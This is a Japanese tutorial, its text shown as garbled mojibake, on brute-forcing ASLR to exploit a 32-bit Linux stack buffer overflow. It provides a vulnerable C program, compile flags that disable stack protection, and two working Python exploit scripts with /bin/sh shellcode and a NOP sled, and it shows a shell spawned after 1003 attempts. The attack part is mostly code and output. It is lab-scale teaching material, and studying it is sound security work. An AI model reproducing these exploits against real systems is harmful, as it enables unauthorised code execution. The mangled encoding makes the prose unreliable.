ãåç´ãªã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼æ»æããã£ã¦ã¿ããã§ã¯ãASLRã¨SSPãDEPãç¡å¹ãªç¶æ ã§ã®ã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼æ»æãè¡ã£ãã ãã®ãã¡ASLRã«ã¤ãã¦ã¯ã32bitç°å¢ã§ããã°ãã«ã¼ããã©ã¼ã¹ã§åé¿ã§ãããã¨ãç¥ããã¦ããã ããã§ã¯ãå®éã«ASLRãæå¹ã«ããç¶æ ã§ã·ã§ã«ã®èµ·åã試ãã¦ã¿ãã
ç°å¢
Ubuntu 12.04 LTS 32bitç
$ uname -a Linux vm-ubuntu32 3.11.0-15-generic #25~precise1-Ubuntu SMP Thu Jan 30 17:42:40 UTC 2014 i686 i686 i386 GNU/Linux $ lsb_release -a No LSB modules are available. Distributor ID: Ubuntu Description: Ubuntu 12.04.4 LTS Release: 12.04 Codename: precise $ gcc --version gcc (Ubuntu/Linaro 4.6.3-1ubuntu5) 4.6.3
èå¼±æ§ã®ããããã°ã©ã ãç¨æãã
以åã®ã¨ã³ããªã¨åæ§ã第ä¸å¼æ°ã®å ¥åã«ããã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼ãèµ·ããã³ã¼ããæ¸ãã ãã ãããããã¡ãµã¤ãºã¯300ã¨ããã
/* bof.c */ #include <stdio.h> #include <string.h> int main(int argc, char *argv[]) { char buf[300] = {}; /* set all bytes to zero */ printf("buf = %p\n", buf); strcpy(buf, argv[1]); puts(buf); return 0; }
SSPã¨DEPãç¡å¹ã«ãã¦ã³ã³ãã¤ã«ããASLRã®ã¿ãæå¹ã«ããç¶æ ã§å®è¡ãã¦ã¿ãã
$ gcc -fno-stack-protector -z execstack bof.c $ sudo sysctl -w kernel.randomize_va_space=2 kernel.randomize_va_space = 2 $ ./a.out AAAA buf = 0xbf906c54 AAAA $ ./a.out AAAA buf = 0xbff8a284 AAAA
æ¯åbufã®ç½®ããã¦ããã¢ãã¬ã¹ãå¤ãã£ã¦ãããã¨ã確èªã§ããã
åç´ãªãã«ã¼ããã©ã¼ã¹ã試ãã¦ã¿ã
ç¨æããããã°ã©ã ãä½åº¦ãå®è¡ããã¨ãbufã®ã¢ãã¬ã¹ã 0xbfX????4 ï¼Xã¯8ï½Fã®ã©ããï¼ã®å½¢ã§å¤åãã¦ãããã¨ããããã ã¤ã¾ããé©å½ã«ã¢ãã¬ã¹ã決ãæã¡ãã¦0x80000 (=524288) åç¨åº¦å®è¡ããã°ãã¢ãã¬ã¹ãä¸è´ããå¯è½æ§ãããã
ããã§ã以åã®ã¨ã³ããªããã¨ã«ããã«ã¼ããã©ã¼ã¹ããã¨ã¯ã¹ããã¤ãã³ã¼ããä½ã£ã¦ã¿ãã
# exploit.py import sys import struct from subprocess import Popen shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = 0xbfccccc4 buf = shellcode buf += 'A' * (bufsize - len(shellcode)) buf += 'AAAA' * 3 buf += struct.pack('<I', addr) i = 0 while True: print i p = Popen(['./a.out', buf]) p.wait() i += 1
ãã®ã³ã¼ãã§ã¯ã¢ãã¬ã¹ã 0xbfccccc4 ã«æ±ºãæã¡ããã·ã§ã«ãèµ·åãå ¥åå¾ ã¡ã«ãªãã¾ã§ç¡éã«ã¼ããåãã å®è¡ããã¨ããã°ããå¾ ã£ãå¾ã«ã·ã§ã«ãèµ·åããã¯ãã ããã«ã¦ã³ã¿ã®å¤ããããªãã®æéãããããã¨ããããã
$ python exploit.py 300 0 buf = 0xbfa71fd4 (snip) 1 buf = 0xbff19d14 (snip)
NOP sledã使ã£ã¦æåçãä¸ãã
ä¸ã®ã³ã¼ãã§ã¯0x80000 (=524288) åç¨åº¦ã®è©¦è¡ãå¿ è¦ã§ããããéãè¾¼ããã¼ã¿ã«å·¥å¤«ããããã¨ã§è©¦è¡åæ°ãæ¸ãããã¨ãã§ããã å ·ä½çã«ã¯ãã·ã§ã«ã³ã¼ãã®åã«å¤§éã®NOPå½ä»¤ï¼ä½ãããªãå½ä»¤ã0x90ï¼ã並ã¹ã¦ããã ããã¯NOP sledã¨å¼ã°ããã
ãã¨ãã°ã次ã®ããã«ã·ã§ã«ã³ã¼ãã®åã«0x1000 (=4096) åã®NOPå½ä»¤ãç½®ãã¦ãããã¨ã§ãå®éã«ã·ã§ã«ã³ã¼ããç½®ãããã¢ãã¬ã¹ã0xbfccccc4-0xbfccdcc4ã®ã©ãã§ãã£ã¦ãã·ã§ã«ã³ã¼ããå®è¡ãããããã«ãªãã ä¸ä½4ããããåºå®ã§ãããã¨ãè¸ã¾ããã¨ãããã«ãã試è¡åæ°ã¯0x100åã®1ãã¤ã¾ã 0x800 (=2048) åç¨åº¦ã«æ¸ãããã
90 90 90 90 90 90 90 90 ... 90 90 90 90 <- 0xbfccccc4 ... 90 90 90 90 [shellcode]
ãããã³ã¼ãã«åæ ãããã¨æ¬¡ã®ããã«ãªãã ããã§ã¯ã大éã®NOPå½ä»¤ã並ã¹ãã¹ãã¼ã¹ã確ä¿ãããããã·ã§ã«ã³ã¼ãããªã¿ã¼ã³ã¢ãã¬ã¹ã®å¾ã«ç½®ãã¦ããã
# exploit2.py import sys import struct from subprocess import Popen shellcode = "\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\x8d\x42\x0b\xcd\x80" bufsize = int(sys.argv[1]) addr = 0xbfccccc4 nopsize = 0x1000 buf = 'A' * bufsize buf += 'AAAA' * 3 buf += struct.pack('<I', addr) buf += '\x90' * nopsize buf += shellcode i = 0 while True: print i p = Popen(['./a.out', buf]) p.wait() i += 1
å®éã«å®è¡ãã¦ã¿ãã
$ python exploit2.py 300 0 buf = 0xbfe84c34 (snip) 1 buf = 0xbf85e284 (snip) ... 1003 buf = 0xbfccb244 (snip) $ id uid=1000(user) gid=1000(user) groups=1000(user) $
ãã®å ´åã¯ã1003åç®ã§ã·ã§ã«ã®èµ·åã«æåããã NOP sledãé·ãåãã°åãã»ã©ããã®åæåçãä¸ãããã¨ãå¯è½ã§ããã